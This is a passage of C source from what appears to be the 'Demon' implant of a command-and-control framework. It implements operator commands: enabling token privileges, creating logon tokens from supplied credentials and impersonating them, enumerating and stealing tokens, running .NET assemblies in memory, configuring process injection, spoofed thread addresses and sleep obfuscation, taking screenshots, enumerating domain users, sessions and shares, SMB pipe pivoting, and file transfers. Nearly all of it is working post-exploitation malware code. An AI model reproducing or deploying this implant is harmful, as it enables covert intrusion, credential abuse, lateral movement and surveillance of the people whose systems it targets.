TRUE ); break; } case DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST: PUTS( "Token::PrivsGetOrList" ) { PTOKEN_PRIVILEGES TokenPrivs = NULL; DWORD TPSize = 0; DWORD Length = 0; HANDLE TokenHandle = NULL; PCHAR PrivName = NULL; UINT32 PrivNameLength = 0; BOOL ListPrivs = ParserGetInt32( Parser ); PackageAddInt32( Package, ListPrivs ); if ( ListPrivs ) { PUTS( "Privs::List" ) TokenHandle = TokenCurrentHandle(); Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, 0, &TPSize ); TokenPrivs = Instance->Win32.LocalAlloc( LPTR, ( TPSize + 1 ) * sizeof( TOKEN_PRIVILEGES ) ); CHAR Name[ MAX_PATH ] = { 0 }; if ( TokenPrivs ) { if ( Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, TPSize, &TPSize ) ) { for ( INT i = 0; i < TokenPrivs->PrivilegeCount; i++ ) { Length = MAX_PATH; Instance->Win32.LookupPrivilegeNameA( NULL, &TokenPrivs->Privileges[ i ].Luid, Name, &Length ); PackageAddString( Package, Name ); PackageAddInt32( Package, TokenPrivs->Privileges[ i ].Attributes ); } } } } else { PUTS( "Privs::Get" ) PrivName = ParserGetString( Parser, &PrivNameLength ); PackageAddInt32( Package, TokenSetPrivilege( PrivName, TRUE ) ); PackageAddString( Package, PrivName ); } if ( TokenPrivs ) { MemSet( TokenPrivs, 0, sizeof( TOKEN_PRIVILEGES ) ); Instance->Win32.LocalFree( TokenPrivs ); TokenPrivs = NULL; } break; } case DEMON_COMMAND_TOKEN_MAKE: PUTS( "Token::Make" ) { UINT32 dwUserSize = 0; UINT32 dwPasswordSize = 0; UINT32 dwDomainSize = 0; PWCHAR lpDomain = ParserGetWString( Parser, &dwDomainSize ); PWCHAR lpUser = ParserGetWString( Parser, &dwUserSize ); PWCHAR lpPassword = ParserGetWString( Parser, &dwPasswordSize ); DWORD LogonType = ParserGetInt32( Parser ); CHAR Deli[ 2 ] = { '\\', 0 }; HANDLE hToken = NULL; PWCHAR UserDomain = NULL; LPWSTR BufferUser = NULL; LPWSTR BufferPassword = NULL; LPWSTR BufferDomain = NULL; DWORD UserDomainSize = dwUserSize + dwDomainSize + 1; DWORD NewTokenID = 0; if ( dwUserSize > 0 && dwPasswordSize > 0 && dwDomainSize > 0 ) { PRINTF( "Create new token: Domain:[%ls] User:[%ls] Password:[%ls] LogonType:[%d]\n", lpDomain, lpUser, lpPassword, LogonType ) hToken = TokenMake( lpUser, lpPassword, lpDomain, LogonType ); if ( hToken != NULL ) { UserDomain = Instance->Win32.LocalAlloc( LPTR, UserDomainSize ); MemSet( UserDomain, 0, UserDomainSize ); StringConcatW( UserDomain, lpDomain ); StringConcatW( UserDomain, Deli ); StringConcatW( UserDomain, lpUser ); BufferUser = Instance->Win32.LocalAlloc( LPTR, dwUserSize ); BufferPassword = Instance->Win32.LocalAlloc( LPTR, dwPasswordSize ); BufferDomain = Instance->Win32.LocalAlloc( LPTR, dwDomainSize ); MemCopy( BufferUser, lpUser, dwUserSize ); MemCopy( BufferPassword, lpPassword, dwPasswordSize ); MemCopy( BufferDomain, lpDomain, dwDomainSize ); NewTokenID = TokenAdd( hToken, UserDomain, TOKEN_TYPE_MAKE_NETWORK, ( DWORD ) ( ULONG_PTR ) NtCurrentTeb()->ClientId.UniqueProcess, BufferUser, BufferDomain, BufferPassword ); // when a new token is created, we impersonate it automatically ImpersonateTokenFromVault( NewTokenID ); PRINTF( "UserDomain => %ls\n", UserDomain ) PackageAddWString( Package, UserDomain ); } } break; } case DEMON_COMMAND_TOKEN_GET_UID: PUTS( "Token::GetUID" ) { BUFFER User = { 0 }; HANDLE Token = { 0 }; BOOL Admin = FALSE; /* current handle */ if ( ( Token = TokenCurrentHandle() ) ) { /* query if token is elevated and add it to the package */ PackageAddInt32( Package, TokenElevated( Token ) ); /* query the user of from the current thread/process token */ if ( TokenQueryOwner( Token, &User, TOKEN_OWNER_FLAG_DEFAULT ) ) { PRINTF( "User => %ls [%ld]\n", User.Buffer, User.Length ); PackageAddBytes( Package, User.Buffer, User.Length ); } else { PackageAddBytes( Package, NULL, 0 ); /* TODO: send back error that we couldn't query the user of the token */ } } else { /* something went wrong. let's report that */ PACKAGE_ERROR_WIN32 } /* close handle */ if ( Token ) { SysNtClose( Token ); Token = NULL; } /* free queried owner memory */ if ( User.Buffer ) { MemZero( User.Buffer, User.Length ); MmHeapFree( User.Buffer ); User.Buffer = NULL; } break; } case DEMON_COMMAND_TOKEN_REVERT: PUTS( "Token::Revert" ) { BOOL Success = TokenRevSelf(); PackageAddInt32( Package, Success ); if ( ! Success ) PACKAGE_ERROR_WIN32; Instance->Tokens.Token = NULL; Instance->Tokens.Impersonate = FALSE; break; } case DEMON_COMMAND_TOKEN_REMOVE: PUTS( "Token::Remove" ) { DWORD TokenID = ParserGetInt32( Parser ); PackageAddInt32( Package, TokenRemove( TokenID ) ); PackageAddInt32( Package, TokenID ); break; } case DEMON_COMMAND_TOKEN_CLEAR: PUTS( "Token::Clear" ) { TokenClear(); break; } case DEMON_COMMAND_TOKEN_FIND_TOKENS: PUTS( "Token::Find" ) { PUSER_TOKEN_DATA TokenList = NULL; DWORD NumTokens = 0; BOOL Success = FALSE; DWORD NumDelTokens = 0; DWORD NumImpTokens = 0; DWORD i = 0 ; Success = ListTokens( &TokenList, &NumTokens ); PackageAddInt32( Package, Success ); if ( Success ) { PackageAddInt32( Package, NumTokens ); for (i = 0; i < NumTokens; ++i) { PackageAddWString( Package, TokenList[ i ].username ); PackageAddInt32( Package, TokenList[ i ].dwProcessID ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) TokenList[ i ].localHandle ); PackageAddInt32( Package, TokenList[ i ].integrity_level ); PackageAddInt32( Package, TokenList[ i ].impersonation_level ); PackageAddInt32( Package, TokenList[ i ].TokenType ); } } if ( TokenList ) { DATA_FREE( TokenList, NumTokens * sizeof( USER_TOKEN_DATA ) ); } break; } } PackageTransmit( Package ); } VOID CommandAssemblyInlineExecute( PPARSER Parser ) { if ( ! Instance->Dotnet ) { BUFFER Buffer = { 0 }; BUFFER AssemblyData = { 0 }; BUFFER AssemblyArgs = { 0 }; Instance->Dotnet = MmHeapAlloc( sizeof( DOTNET_ARGS ) ); Instance->Dotnet->RequestID = Instance->CurrentRequestID; Instance->Dotnet->Invoked = FALSE; /* Parse Pipe Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); Instance->Dotnet->PipeName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance->Dotnet->PipeName.Length = Buffer.Length; MemCopy( Instance->Dotnet->PipeName.Buffer, Buffer.Buffer, Instance->Dotnet->PipeName.Length ); /* Parse AppDomain Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); Instance->Dotnet->AppDomainName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance->Dotnet->AppDomainName.Length = Buffer.Length; MemCopy( Instance->Dotnet->AppDomainName.Buffer, Buffer.Buffer, Instance->Dotnet->AppDomainName.Length ); /* Parse Net Version */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); Instance->Dotnet->NetVersion.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance->Dotnet->NetVersion.Length = Buffer.Length; MemCopy( Instance->Dotnet->NetVersion.Buffer, Buffer.Buffer, Instance->Dotnet->NetVersion.Length ); /* Parse Assembly MemFile */ ULONG32 MemFileID = ParserGetInt32( Parser ); PMEM_FILE MemFile = GetMemFile( MemFileID ); AssemblyData.Buffer = NULL; AssemblyData.Length = 0; if ( MemFile && MemFile->IsCompleted ) { AssemblyData.Buffer = MemFile->Data; AssemblyData.Length = MemFile->Size; } else if ( MemFile && ! MemFile->IsCompleted ) { PRINTF( "MemFile [%x] was not completed\n", MemFileID ); } else { PRINTF( "MemFile [%x] not found\n", MemFileID ); } /* Parse Argument */ AssemblyArgs.Buffer = ParserGetWString( Parser, &Buffer.Length ); PRINTF( "Parsed Arguments: \n" " - PipeName [%d]: %ls \n" " - AppDomain [%d]: %ls \n" " - NetString [%d]: %ls \n" " - AssemblyArgs [%d]: %ls \n" " - AssemblyData [%d]: %p \n", Instance->Dotnet->PipeName.Length, Instance->Dotnet->PipeName.Buffer, Instance->Dotnet->AppDomainName.Length, Instance->Dotnet->AppDomainName.Buffer, Instance->Dotnet->NetVersion.Length, Instance->Dotnet->NetVersion.Buffer, AssemblyArgs.Length, AssemblyArgs.Buffer, AssemblyData.Length, AssemblyData.Buffer ) if ( ! DotnetExecute( AssemblyData, AssemblyArgs ) ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE ); PackageAddInt32( Package, DOTNET_INFO_FAILED ); PackageTransmit( Package ); DotnetClose(); } PUTS( "Finished with Assembly inline execute" ) } else { PUTS( "Dotnet instance already running." ) } } VOID CommandAssemblyListVersion( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_VERSIONS ); PICLRMetaHost pClrMetaHost = { NULL }; PIEnumUnknown pEnumClr = { NULL }; PICLRRuntimeInfo pRunTimeInfo = { NULL }; if ( RtMscoree() ) { if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pClrMetaHost ) == S_OK ) { if ( ( pClrMetaHost )->lpVtbl->EnumerateInstalledRuntimes( pClrMetaHost, &pEnumClr ) == S_OK ) { DWORD dwStringSize = 0; while ( TRUE ) { IUnknown *UPTR = { 0 }; ULONG fetched = 0; if ( pEnumClr->lpVtbl->Next( pEnumClr, 1, &UPTR, &fetched ) == S_OK ) { pRunTimeInfo = ( PICLRRuntimeInfo ) UPTR; if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, NULL, &dwStringSize ) == HRESULT_FROM_WIN32( ERROR_INSUFFICIENT_BUFFER ) && dwStringSize > 0 ) { LPVOID Version = Instance->Win32.LocalAlloc( LPTR, dwStringSize ); if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, Version, &dwStringSize ) == S_OK ) { PRINTF( "Version[ %d ]: %ls\n", dwStringSize, Version ); PackageAddWString( Package, Version ); } Instance->Win32.LocalFree( Version ); Version = NULL; dwStringSize = 0; } else PUTS("Failed get Version String") } else break; } } else PUTS("Failed to enumerate") } else PUTS("Failed to CLRCreateInstance"); } else PUTS("Failed to load mscoree.dll") if ( pClrMetaHost ) { pClrMetaHost->lpVtbl->Release( pClrMetaHost ); pClrMetaHost = NULL; } if ( pEnumClr ) { pEnumClr->lpVtbl->Release( pEnumClr ); pEnumClr = NULL; } if ( pRunTimeInfo ) { pRunTimeInfo->lpVtbl->Release( pRunTimeInfo ); pRunTimeInfo = NULL; } PackageTransmit( Package ); } VOID CommandConfig( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_CONFIG ); UINT32 Config = ParserGetInt32( Parser ); PackageAddInt32( Package, Config ); switch ( Config ) { case DEMON_CONFIG_SHOW_ALL: { break; } case DEMON_CONFIG_IMPLANT_SPFTHREADADDR: { UINT32 LibSize = 0; UINT32 FuncSize = 0; PCHAR Library = ParserGetString( Parser, &LibSize ); PCHAR Function = ParserGetString( Parser, &FuncSize ); UINT32 Offset = ParserGetInt32( Parser ); PVOID ThreadAddr = NULL; PRINTF( "Library => %s\n", Library ); PRINTF( "Function => %s\n", Function ); PRINTF( "Offset => %x\n", Offset ); if ( Library ) { PVOID hLib = NULL; hLib = LdrModuleLoad( Library ); PRINTF( "hLib => %x\n", hLib ); if ( hLib ) { ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) ); if ( ThreadAddr ) { Instance->Config.Implant.ThreadStartAddr = ThreadAddr + Offset; } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION ); } PRINTF( "ThreadAddr => %x\n", ThreadAddr ); } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_MOD_NOT_FOUND ); } } PackageAddString( Package, Library ); PackageAddString( Package, Function ); break; } case DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE: { Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( Parser ); PRINTF( "Set sleep obfuscation technique to %d\n", Instance->Config.Implant.SleepMaskTechnique ) PackageAddInt32( Package, Instance->Config.Implant.SleepMaskTechnique ); break; } case DEMON_CONFIG_IMPLANT_VERBOSE: { Instance->Config.Implant.Verbose = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Implant.Verbose ); break; } case DEMON_CONFIG_IMPLANT_COFFEE_VEH: { Instance->Config.Implant.CoffeeVeh = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Implant.CoffeeVeh ); break; } case DEMON_CONFIG_IMPLANT_COFFEE_THREADED: { Instance->Config.Implant.CoffeeThreaded = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Implant.CoffeeThreaded ); break; } case DEMON_CONFIG_MEMORY_ALLOC: { Instance->Config.Memory.Alloc = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Memory.Alloc ); break; } case DEMON_CONFIG_MEMORY_EXECUTE: { Instance->Config.Memory.Execute = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Memory.Execute ); break; } case DEMON_CONFIG_INJECTION_TECHNIQUE: { Instance->Config.Inject.Technique = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Inject.Technique ); break; } case DEMON_CONFIG_INJECTION_SPOOFADDR: { UINT32 LibSize = 0; UINT32 FuncSize = 0; PCHAR Library = ParserGetString( Parser, &LibSize ); PCHAR Function = ParserGetString( Parser, &FuncSize ); UINT32 Offset = ParserGetInt32( Parser ); PVOID ThreadAddr = NULL; PRINTF( "Library => %s\n", Library ); PRINTF( "Function => %s\n", Function ); PRINTF( "Offset => %x\n", Offset ); if ( Library ) { PVOID hLib = NULL; // TODO: check in the current PEB too hLib = LdrModuleLoad( Library ); PRINTF( "hLib => %x\n", hLib ); if ( hLib ) { ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) ); if ( ThreadAddr ) { Instance->Config.Inject.SpoofAddr = ThreadAddr + Offset; } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION ); } PRINTF( "ThreadAddr => %x\n", ThreadAddr ); } else PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_MOD_NOT_FOUND ); } PackageAddString( Package, Library ); PackageAddString( Package, Function ); break; } case DEMON_CONFIG_INJECTION_SPAWN64: { UINT32 Size = 0; PVOID Buffer = NULL; if ( Instance->Config.Process.Spawn64 ) { MemSet( Instance->Config.Process.Spawn64, 0, StringLengthW( Instance->Config.Process.Spawn64 ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Config.Process.Spawn64 ); Instance->Config.Process.Spawn64 = NULL; } Buffer = ParserGetBytes( Parser, &Size ); Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Size ); MemCopy( Instance->Config.Process.Spawn64, Buffer, Size ); PRINTF( "Instance->Config.Process.Spawn64 => %ls\n", Instance->Config.Process.Spawn64 ); PackageAddWString( Package, Instance->Config.Process.Spawn64 ); break; } case DEMON_CONFIG_INJECTION_SPAWN32: { UINT32 Size = 0; PVOID Buffer = NULL; if ( Instance->Config.Process.Spawn86 ) { MemSet( Instance->Config.Process.Spawn86, 0, StringLengthW( Instance->Config.Process.Spawn86 ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Config.Process.Spawn86 ); Instance->Config.Process.Spawn86 = NULL; } Buffer = ParserGetBytes( Parser, &Size ); Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Size ); MemCopy( Instance->Config.Process.Spawn86, Buffer, Size ); PRINTF( "Instance->Config.Process.Spawn86 => %ls\n", Instance->Config.Process.Spawn86 ); PackageAddWString( Package, Instance->Config.Process.Spawn86 ); break; } case DEMON_CONFIG_KILLDATE: { Instance->Config.Transport.KillDate = ParserGetInt64( Parser ); PRINTF( "Instance->Config.Transport.KillDate => %d\n", Instance->Config.Transport.KillDate ); PackageAddInt64( Package, Instance->Config.Transport.KillDate ); break; } case DEMON_CONFIG_WORKINGHOURS: { Instance->Config.Transport.WorkingHours = ParserGetInt32( Parser ); PRINTF( "Instance->Config.Transport.WorkingHours => %d\n", Instance->Config.Transport.WorkingHours ); PackageAddInt32( Package, Instance->Config.Transport.WorkingHours ); break; } default: PackageAddInt32( Package, 0 ); break; } PackageTransmit( Package ); } VOID CommandScreenshot( PPARSER Parser ) { PUTS( "Screenshot" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_SCREENSHOT ); PVOID Image = NULL; SIZE_T Size = 0; // TODO: add error checking in WinScreenshot and send screenshot in pieces if ( WinScreenshot( &Image, &Size ) ) { PUTS( "Successful took screenshot" ) PackageAddInt32( Package, TRUE ); PackageAddBytes( Package, Image, Size ); } else { PUTS( "Failed to take screenshot" ) PackageAddInt32( Package, FALSE ); } PackageTransmit( Package ); } // TODO: The Net module is unstable so fix those issues to work on normal workstation and domain server VOID CommandNet( PPARSER Parser ) { PUTS( "NET COMMAND" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_NET ); UINT32 NetCommand = ParserGetInt32( Parser ); PackageAddInt32( Package, NetCommand ); switch ( NetCommand ) { case DEMON_NET_COMMAND_DOMAIN: { PUTS( "DEMON_NET_COMMAND_DOMAIN" ) LPSTR Domain = NULL; DWORD Length = 0; if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &Length ) ) { if ( ( Domain = Instance->Win32.LocalAlloc( LPTR, Length ) ) ) { if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Domain, &Length ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto DOMAIN_CLEANUP; } } else goto DOMAIN_CLEANUP; } else goto DOMAIN_CLEANUP; PackageAddString( Package, Domain ); DATA_FREE( Domain, Length ); break; DOMAIN_CLEANUP: DATA_FREE( Domain, Length ); PackageDestroy( Package ); Package = NULL; return; } case DEMON_NET_COMMAND_LOGONS: { PUTS( "DEMON_NET_COMMAND_LOGONS" ) LPWKSTA_USER_INFO_0 UserInfo = NULL; DWORD dwLevel = 0; DWORD dwEntriesRead = 0; DWORD dwTotalEntries = 0; DWORD dwResumeHandle = 0; DWORD NetStatus = 0; UINT32 UserNameSize = 0; LPWSTR ServerName = NULL; ServerName = ParserGetWString( Parser, &UserNameSize ); PackageAddWString( Package, ServerName ); UserNameSize = 0; do { NetStatus = Instance->Win32.NetWkstaUserEnum( ServerName, dwLevel, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( INT i = 0; ( i < dwEntriesRead ); i++ ) { if ( UserInfo == NULL ) break; PackageAddWString( Package, UserInfo[i].wkui0_username ); } } else { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NetStatus ) ); PRINTF( "NetWkstaUserEnum: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEANUP; } if ( UserInfo ) { Instance->Win32.NetApiBufferFree( UserInfo ); UserInfo = NULL; } } while ( NetStatus == ERROR_MORE_DATA ); if ( UserInfo != NULL ) Instance->Win32.NetApiBufferFree( UserInfo ); break; CLEANUP: if ( UserInfo != NULL ) Instance->Win32.NetApiBufferFree( UserInfo ); PackageDestroy( Package ); Package = NULL; return; } case DEMON_NET_COMMAND_SESSIONS: { PUTS( "DEMON_NET_COMMAND_SESSIONS" ) LPSESSION_INFO_10 SessionInfo = NULL; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD ResumeHandle = 0; LPWSTR ServerName = NULL; DWORD NetStatus = 0; UINT32 UserNameSize = 0; ServerName = ParserGetWString( Parser, &UserNameSize ); PackageAddWString( Package, ServerName ); UserNameSize = 0; do { NetStatus = Instance->Win32.NetSessionEnum( ServerName, NULL, NULL, 10, (LPBYTE*)&SessionInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &ResumeHandle ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( INT i = 0; i < EntriesRead ; i++ ) { if ( SessionInfo == NULL ) break; PackageAddWString( Package, SessionInfo[i].sesi10_username ); PackageAddWString( Package, SessionInfo[i].sesi10_username ); PackageAddInt32( Package, SessionInfo[i].sesi10_time ); PackageAddInt32( Package, SessionInfo[i].sesi10_idle_time ); } } else { PRINTF( "NetSessionEnum: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto SESSION_CLEANUP; } if ( SessionInfo ) { Instance->Win32.NetApiBufferFree( SessionInfo ); SessionInfo = NULL; } } while ( NetStatus == ERROR_MORE_DATA ); if ( SessionInfo ) Instance->Win32.NetApiBufferFree( SessionInfo ); break; SESSION_CLEANUP: if ( SessionInfo ) Instance->Win32.NetApiBufferFree( SessionInfo ); PackageDestroy( Package ); Package = NULL; return; } case DEMON_NET_COMMAND_COMPUTER: { PUTS( "DEMON_NET_COMMAND_COMPUTER" ) break; } case DEMON_NET_COMMAND_DCLIST: { PUTS( "DEMON_NET_COMMAND_DCLIST" ) break; } case DEMON_NET_COMMAND_SHARE: { PUTS( "DEMON_NET_COMMAND_SHARE" ) PSHARE_INFO_502 ShareInfo = NULL; DWORD NetStatus = 0; DWORD Entries = 0; DWORD TotalEntries = 0; DWORD Resume = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); do { NetStatus = Instance->Win32.NetShareEnum( ServerName, 502, (LPBYTE*)&ShareInfo, MAX_PREFERRED_LENGTH, &Entries, &TotalEntries, &Resume ); if( ( NetStatus == ERROR_SUCCESS ) || ( NetStatus == ERROR_MORE_DATA ) ) { for( DWORD i = 0; i < Entries; i++ ) { PRINTF( "%-5ls %-20ls %d %-20ls\n", ShareInfo[i].shi502_netname, ShareInfo[i].shi502_path, ShareInfo[i].shi502_permissions, ShareInfo[i].shi502_remark ); PackageAddWString( Package, ShareInfo[i].shi502_netname ); PackageAddWString( Package, ShareInfo[i].shi502_path ); PackageAddWString( Package, ShareInfo[i].shi502_remark ); PackageAddInt32( Package, ShareInfo[i].shi502_permissions ); } Instance->Win32.NetApiBufferFree( ShareInfo ); ShareInfo = NULL; } else PRINTF( "Error: %ld\n", NetStatus ); } while ( NetStatus == ERROR_MORE_DATA ); break; } case DEMON_NET_COMMAND_LOCALGROUP: { PUTS( "DEMON_NET_COMMAND_LOCALGROUP" ) PLOCALGROUP_INFO_1 GroupInfo = NULL; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD NetStatus = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); PRINTF( "ServerName => %ls\n", ServerName ); NetStatus = Instance->Win32.NetLocalGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, NULL ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { PUTS( "NetLocalGroupEnum => Success" ) if ( GroupInfo ) { for( DWORD i = 0; i < EntriesRead; i++ ) { PackageAddWString( Package, GroupInfo[ i ].lgrpi1_name ); PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment ); } Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } } break; } case DEMON_NET_COMMAND_GROUP: { PUTS( "DEMON_NET_COMMAND_GROUP" ) PLOCALGROUP_INFO_1 GroupInfo = NULL; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD NetStatus = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); NetStatus = Instance->Win32.NetGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, -1, &EntriesRead, &TotalEntries, NULL ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { if ( GroupInfo ) { for( DWORD i = 0;i < EntriesRead; i++ ) { PackageAddWString( Package, GroupInfo[ i ].lgrpi1_name ); PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment ); } } Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } else { PRINTF( "NetGroupEnum: Failed [%d : %d]\n", NtGetLastError(), NetStatus ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } if ( GroupInfo ) { Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } break; } case DEMON_NET_COMMAND_USER: { PUTS( "DEMON_NET_COMMAND_USER" ) LPUSER_INFO_0 UserInfo = NULL; DWORD NetStatus = 0; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD Resume = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); NetStatus = Instance->Win32.NetUserEnum( ServerName, 0, 0, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &Resume ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( DWORD i = 0; i < EntriesRead; i++ ) { if ( UserInfo[ i ].usri0_name ) { PackageAddWString( Package, UserInfo[ i ].usri0_name ); PackageAddInt32( Package, FALSE ); // TODO: fix this. } } if ( UserInfo ) { Instance->Win32.NetApiBufferFree( UserInfo ); UserInfo = NULL; } } else { PRINTF( "NetGroupEnum: Failed [%d : %d]\n", NtGetLastError(), NetStatus ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } break; } default: { PUTS( "COMMAND NOT FOUND" ) break; } } PackageTransmit( Package ); } VOID CommandPivot( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_PIVOT ); DWORD Pivot = ParserGetInt32( Parser ); PackageAddInt32( Package, Pivot ); PRINTF( "Pivot => %d\n", Pivot ); switch ( Pivot ) { case DEMON_PIVOT_LIST: { PUTS( "DEMON_PIVOT_LIST" ) PPIVOT_DATA TempList = Instance->SmbPivots; do { if ( TempList ) { PRINTF( "Pivot List => DemonId:[%x] Named Pipe:[%ls]\n", TempList->DemonID, TempList->PipeName.Buffer ) PackageAddInt32( Package, TempList->DemonID ); PackageAddWString( Package, TempList->PipeName.Buffer ); TempList = TempList->Next; } else break; } while ( TRUE ); break; } case DEMON_PIVOT_SMB_CONNECT: { PUTS( "DEMON_PIVOT_SMB_CONNECT" ) DWORD BytesSize = 0; PVOID Output = NULL; BUFFER PipeName = { 0 }; PipeName.Buffer = ParserGetBytes( Parser, &PipeName.Length ); if ( PivotAdd( PipeName, &Output, &BytesSize ) ) { PRINTF( "Successful connected: %x : %d\n", Output, BytesSize ) PackageAddInt32( Package, TRUE ); PackageAddBytes( Package, Output, BytesSize ); MemSet( Output, 0, BytesSize ); Instance->Win32.LocalFree( Output ); Output = NULL; #ifdef DEBUG PPIVOT_DATA TempList = Instance->SmbPivots; PUTS( "Smb Pivots : [ " ); do { if ( TempList ) { PRINTF( "%x\n", TempList->DemonID ); TempList = TempList->Next; } else break; } while ( TRUE ); PUTS( "]" ); #endif } else { PUTS( "Failed to connect" ) PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, NtGetLastError() ); } break; } case DEMON_PIVOT_SMB_DISCONNECT: { DWORD AgentID = ParserGetInt32( Parser ); DWORD Success = FALSE; Success = PivotRemove( AgentID ); PackageAddInt32( Package, Success ); PackageAddInt32( Package, AgentID ); break; } case DEMON_PIVOT_SMB_COMMAND: { PUTS( "DEMON_PIVOT_SMB_COMMAND" ) UINT32 DemonId = ParserGetInt32( Parser ); BUFFER Data = { 0 }; PPIVOT_DATA TempList = Instance->SmbPivots; PPIVOT_DATA PivotData = NULL; Data.Buffer = ParserGetBytes( Parser, &Data.Length ); if ( ! Data.Buffer || ! Data.Length ) { PUTS( "Can't send empty data to pivot" ) return; } do { if ( TempList ) { // if the specified demon was found break the loop if ( TempList->DemonID == DemonId ) { PivotData = TempList; break; } // select the next pivot TempList = TempList->Next; } else break; } while ( TRUE ); if ( PivotData ) { if ( ! PipeWrite( PivotData->Handle, &Data ) ) { PUTS( "PipeWrite failed" ) PACKAGE_ERROR_WIN32 } else PRINTF( "Successfully wrote 0x%x bytes of data to demon %x\n", Data.Length, DemonId ) } else PRINTF( "Didn't found demon pivot %x\n", DemonId ) // DEMON_PIVOT_SMB_COMMAND does not send any response // TODO: send confirmation that it worked? // this message colides with PivotPush return; } default: break; } PUTS( "Pivot transport" ) PackageTransmit( Package ); } VOID CommandTransfer( PPARSER Parser ) { DWORD Command = 0; PPACKAGE Package = NULL; PDOWNLOAD_DATA Download = NULL; DWORD FileID = 0; BOOL Found = 0; Package = PackageCreate( DEMON_COMMAND_TRANSFER ); Command = ParserGetInt32( Parser ); Download = Instance->Downloads; PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_TRANSFER_LIST: PUTS( "Transfer::list" ) { for ( ;; ) { if ( ! Download ) break; /* Add download data */ PackageAddInt32( Package, Download->FileID ); PackageAddInt32( Package, Download->ReadSize ); PackageAddInt32( Package, Download->State ); Download = Download->Next; } break; } case 